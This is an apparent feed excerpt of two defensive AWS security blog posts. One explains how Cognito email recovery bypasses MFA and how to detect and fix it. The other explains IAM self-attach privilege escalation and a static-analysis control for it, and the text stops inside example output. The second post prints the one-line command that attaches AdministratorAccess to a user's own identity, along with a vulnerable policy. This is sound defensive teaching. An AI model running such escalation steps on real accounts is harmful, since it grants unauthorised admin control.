  &lt;/span&gt;&lt;span class="nl"&gt;"MfaConfiguration"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ON"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"AccountRecoverySetting"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"RecoveryMechanisms"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Priority"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"verified_email"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"UserPoolAddOns"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"AdvancedSecurityMode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"OFF"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Setting 1: MFA is ON.&lt;/strong&gt; Correct. This forces MFA on the normal login path.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Setting 2: Recovery via email.&lt;/strong&gt; This is the default. AWS documentation recommends email-based recovery. It works and it bypasses MFA because the recovery flow doesn't invoke the MFA challenge.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Setting 3: Advanced security is OFF.&lt;/strong&gt; Cognito's Advanced Security Features (ASF) include adaptive authentication that can require MFA even during recovery-like flows. When ASF is off, recovery is unprotected. When ASF is on with full enforcement, Cognito can challenge suspicious recovery attempts. Most deployments leave ASF off because it costs $0.050 per MAU.&lt;/p&gt;

&lt;p&gt;Each setting is individually defensible. MFA is on. That's the CIS benchmark recommendation. Email recovery is the AWS default. ASF costs money and most orgs defer it. No individual setting is wrong. The interaction between all three creates the bypass.&lt;/p&gt;

&lt;h2&gt;
  
  
  What your scanner checks vs. what matters
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What the scanner checks&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;th&gt;What actually matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Is MFA enabled?&lt;/td&gt;
&lt;td&gt;✅ ON&lt;/td&gt;
&lt;td&gt;Can a user authenticate WITHOUT MFA?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Is the password policy strong?&lt;/td&gt;
&lt;td&gt;✅ 12 chars, mixed case&lt;/td&gt;
&lt;td&gt;Can a user set a new password without MFA?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Is the user pool encrypted?&lt;/td&gt;
&lt;td&gt;✅ KMS&lt;/td&gt;
&lt;td&gt;Does the recovery flow invoke MFA?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Are advanced security features on?&lt;/td&gt;
&lt;td&gt;❌ OFF&lt;/td&gt;
&lt;td&gt;Does the recovery flow detect anomalies?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The scanner checks four settings independently. The bypass exists in the interaction between MFA enforcement (which applies to login) and recovery (which doesn't). No single-setting check asks "is there an authentication path that bypasses MFA?"&lt;/p&gt;

&lt;h2&gt;
  
  
  What compound detection finds
&lt;/h2&gt;

&lt;p&gt;Analyzing this configuration with multiple reasoning engines on the same snapshot reveals the bypass that single-setting checks miss.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CEL predicate evaluation&lt;/strong&gt; fires two individual findings: advanced security is off, and MFA recovery bypass is possible. The second finding is not "MFA is disabled". MFA is enabled. The finding is "a recovery path exists that doesn't invoke MFA."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The compound chain&lt;/strong&gt; &lt;code&gt;cognito_recoverybypass&lt;/code&gt; fires when both conditions are true simultaneously: MFA is enforced (so the team thinks they're protected) AND the recovery flow bypasses it (so they're not). The compound is the finding. Neither individual finding alone tells the story.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SMT satisfiability checking&lt;/strong&gt; asks: "Does there exist an authentication path that produces a valid session without requiring a second factor?" Answer: sat. The witness is the recovery flow: email verification only, no TOTP challenge. After enabling ASF with full enforcement, the same query returns unsat. The adaptive authentication layer challenges suspicious recovery attempts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Temporal drift analysis&lt;/strong&gt; asks: "After enabling ASF, how far is the configuration from regressing?" Answer: 1 change. Disabling ASF (to save $0.050/MAU) reopens the bypass immediately. The drift margin quantifies the fragility of the fix.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Game-theoretic cost analysis&lt;/strong&gt; asks: "What does the attack cost?" Answer: the cost of compromising one email address. With credential stuffing services selling access for single-digit dollars, the attacker's investment is minimal. The defender's fix: enable ASF at $0.050 per monthly active user. For a 10,000-user pool, that's $500/month. The ROI depends on what the authenticated session grants access to.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;Two changes, in priority order:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 1: Enable Advanced Security Features (immediate)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws cognito-idp update-user-pool &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; us-east-1_xxxxx &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-add-ons&lt;/span&gt; &lt;span class="nv"&gt;AdvancedSecurityMode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ENFORCED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With ASF in ENFORCED mode, Cognito applies adaptive authentication to all authentication events, including recovery flows. Suspicious recovery attempts (new device, new location, rapid succession) trigger additional challenges.&lt;/p&gt;

&lt;p&gt;Cost: $0.050 per MAU. For most applications, this is small compared to the cost of a compromised account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 2: Restrict recovery mechanisms (defense in depth)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If your application supports it, change the recovery mechanism from email to admin-only:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws cognito-idp update-user-pool &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; us-east-1_xxxxx &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--admin-create-user-config&lt;/span&gt; &lt;span class="nv"&gt;AllowAdminCreateUserOnly&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This removes self-service recovery entirely. Users who lose access contact support. More friction, more security. Not appropriate for all applications, but the strongest closure of the bypass.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to check your own environment
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List your user pools&lt;/span&gt;
aws cognito-idp list-user-pools &lt;span class="nt"&gt;--max-results&lt;/span&gt; 20

&lt;span class="c"&gt;# For each pool, check the three settings&lt;/span&gt;
aws cognito-idp describe-user-pool &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; &amp;lt;pool-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | jq &lt;span class="s1"&gt;'{
    mfa: .UserPool.MfaConfiguration,
    recovery: .UserPool.AccountRecoverySetting,
    advanced_security: .UserPool.UserPoolAddOns.AdvancedSecurityMode
  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you see:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mfa"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ON"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"recovery"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"RecoveryMechanisms"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"verified_email"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"advanced_security"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"OFF"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You have the bypass. MFA is protecting the front door. The recovery flow is the unlocked side entrance.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pattern beyond Cognito
&lt;/h2&gt;

&lt;p&gt;MFA bypass via recovery appears in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Azure AD&lt;/strong&gt;: Password reset with email verification bypasses MFA unless Conditional Access policies explicitly cover the reset flow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Okta&lt;/strong&gt;: Self-service recovery with email factor only. MFA policy applies to authentication, not to account recovery, unless explicitly configured.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Custom applications&lt;/strong&gt;: Any app where "forgot password" and "login" have different authentication requirements.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The pattern is architectural: login and recovery are separate flows with separate security policies. Security teams configure the login flow and assume the recovery flow inherits the same protections. It doesn't. Each flow needs its own security configuration.&lt;/p&gt;

&lt;p&gt;The tools that check "is MFA enabled?" answer the wrong question. The right question is "do all authentication paths require the same level of assurance?" That's a compound question spanning multiple flows, settings, and  service configurations. No single-setting check can ask it.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The scenarios in this article are modeled on real configurations found in production Cognito deployments. The analysis uses &lt;a href="https://github.com/sufield/stave" rel="noopener noreferrer"&gt;Stave&lt;/a&gt;, an open-source static analysis tool that evaluates cloud configurations via CEL predicates and exports standardized facts for consumption by external reasoning engines. All from air-gapped snapshots with no cloud credentials required.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>security</category>
      <category>cognito</category>
      <category>mfa</category>
    </item>
    <item>
      <title>One IAM Action Away From Admin: Self-Attach Privilege Escalation</title>
      <dc:creator>Bala Paranj</dc:creator>
      <pubDate>Fri, 11 Sep 2026 11:42:43 +0000</pubDate>
      <link>https://dev.to/bala_paranj_059d338e44e7e/one-iam-action-away-from-admin-self-attach-privilege-escalation-3dmp</link>
      <guid>https://dev.to/bala_paranj_059d338e44e7e/one-iam-action-away-from-admin-self-attach-privilege-escalation-3dmp</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;✓ Human-authored analysis; AI used for formatting and proofreading.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In 2018, Spencer Gietzen at Rhino Security Labs published a catalogue of 24 ways to escalate from low-privilege IAM identities to full administrative access. Technique #1 was the simplest one in the entire catalogue:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam attach-user-policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-name&lt;/span&gt; &lt;span class="nv"&gt;$YOUR_OWN_USERNAME&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; arn:aws:iam::aws:policy/AdministratorAccess
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three command-line arguments. No second permission, exploit or social engineering. If your user has &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; and the policy's Resource includes your own ARN, you are one API call away from being able to do anything in the AWS account.&lt;/p&gt;

&lt;p&gt;The bug ships to production routinely because the policy that admits it looks reasonable on paper:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Statement"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetUser"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListAttachedUserPolicies"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"iam:AttachUserPolicy"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::111122223333:user/${aws:username}"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Self-management is the framing. Users should be able to read their own profile, list policies attached to themselves, and (the developer who wrote this thinks) attach policies needed for their work. The bug is the third action, the others are read-only.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catastrophic Combination
&lt;/h2&gt;

&lt;p&gt;Most IAM privesc techniques require chaining: one action sets up the privilege, a second action exercises it. Self-attach is the technique that needs no chain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Step 1: aws iam attach-user-policy &lt;span class="nt"&gt;--user-name&lt;/span&gt; eve &lt;span class="se"&gt;\&lt;/span&gt;
          &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; arn:aws:iam::aws:policy/AdministratorAccess
Step 2: &amp;lt;whatever the attacker wants&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;AdministratorAccess&lt;/code&gt; grants &lt;code&gt;Action: *&lt;/code&gt; on &lt;code&gt;Resource: *&lt;/code&gt;. After Step 1, Eve has admin. Forever, until detected. There is no stage 2 prerequisite. Detection requires either an alarm on &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; events (CloudTrail + EventBridge + SNS) or a daily IAM-policy diff that catches the new attachment.&lt;/p&gt;

&lt;p&gt;The relevant AWS managed policies that grant admin or near-admin when attached:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ARN&lt;/th&gt;
&lt;th&gt;What it grants&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;arn:aws:iam::aws:policy/AdministratorAccess&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Action: *&lt;/code&gt; on &lt;code&gt;Resource: *&lt;/code&gt; — full admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;arn:aws:iam::aws:policy/IAMFullAccess&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;All of IAM — escalate further by creating roles, attaching policies to others&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;arn:aws:iam::aws:policy/PowerUserAccess&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Everything except IAM — read-write across services&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Any one of these, attached to Eve, ends the game.&lt;/p&gt;

&lt;h2&gt;
  
  
  The System Invariant
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;A user must not have &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; whose &lt;code&gt;Resource&lt;/code&gt; includes its own ARN.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Attaching policies &lt;em&gt;to yourself&lt;/em&gt; is the privesc. The Resource scope makes the action a self-promotion primitive.&lt;/p&gt;

&lt;p&gt;In Stave's observation schema, the engine pre-computes a boolean by walking each user's attached policies:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::111122223333:user/eve"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"aws_iam_user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"properties"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"identity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"escalation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"attach_user_policy_self"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"present"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"target_user_arn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::111122223333:user/eve"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"resource_scope"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"self"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"policies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"attached_policies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;escalation.attach_user_policy_self.present&lt;/code&gt; is the engine's verdict; &lt;code&gt;attached_policies[].statements&lt;/code&gt; carries the evidence. CEL reads the boolean to fire the control. Z3 reads the statements to enumerate the specific managed policy whose attachment closes the escalation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Stave Control
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;CTL.IAM.ESCALATE.ATTACHUSERPOLICY.001&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Principal Must Not Escalate via iam:AttachUserPolicy On Self&lt;/span&gt;
&lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;critical&lt;/span&gt;
&lt;span class="na"&gt;unsafe_predicate&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;all&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;field&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;properties.identity.kind&lt;/span&gt;
      &lt;span class="na"&gt;op&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;eq&lt;/span&gt;
      &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;user&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;field&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;properties.identity.escalation.attach_user_policy_self.present&lt;/span&gt;
      &lt;span class="na"&gt;op&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;eq&lt;/span&gt;
      &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two leaf clauses, both required. Severity &lt;code&gt;critical&lt;/code&gt; because the unsafe state is &lt;em&gt;one API call away from full account admin&lt;/em&gt;. There's no graduated risk between "user has self-attach" and "user is admin" only the attacker's choice of when to make the call.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why CEL is Not The Whole Conversation
&lt;/h2&gt;

&lt;p&gt;CEL detects the unsafe state. The customer reading the finding asks the natural follow-up:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Specifically, what policy would they attach? AdministratorAccess?&lt;br&gt;
Or something narrower that still gives them what they want?&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The answer matters because the prevention recommendation depends on it. If the only admin-granting policies in the AWS catalogue are well-known (and they are: &lt;code&gt;AdministratorAccess&lt;/code&gt;, &lt;code&gt;IAMFullAccess&lt;/code&gt;, &lt;code&gt;PowerUserAccess&lt;/code&gt;), an SCP can deny attaching those ARNs to user identities. If there are also custom managed policies in the account that grant admin, the SCP needs to be broader.&lt;/p&gt;

&lt;p&gt;CEL says "self-attach is admitted." Z3 enumerates the specific dangerous attachments.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Z3 Witness Model
&lt;/h2&gt;

&lt;p&gt;The companion program at &lt;code&gt;stave/examples/iam-attach-user-policy-self/z3prove/&lt;/code&gt; encodes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0 = arn:aws:iam::aws:policy/ReadOnlyAccess        intended (no privesc)
1 = arn:aws:iam::aws:policy/AdministratorAccess   DANGEROUS
2 = arn:aws:iam::aws:policy/IAMFullAccess         DANGEROUS
3 = arn:aws:iam::aws:policy/PowerUserAccess       DANGEROUS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Go side reads the user's policy statements and decides whether &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; with the user's ARN as Resource is admitted by &lt;em&gt;any&lt;/em&gt; &lt;code&gt;Allow&lt;/code&gt; statement. If yes, every witness is attachable; if no, none are attachable.&lt;/p&gt;

&lt;p&gt;Z3 then discharges:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;unsafe = admitted ∧ dangerous ∧ ¬intended
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output for the broad policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== before (self-attach allowed) ===
  user: arn:aws:iam::111122223333:user/eve
  policy statements: 2
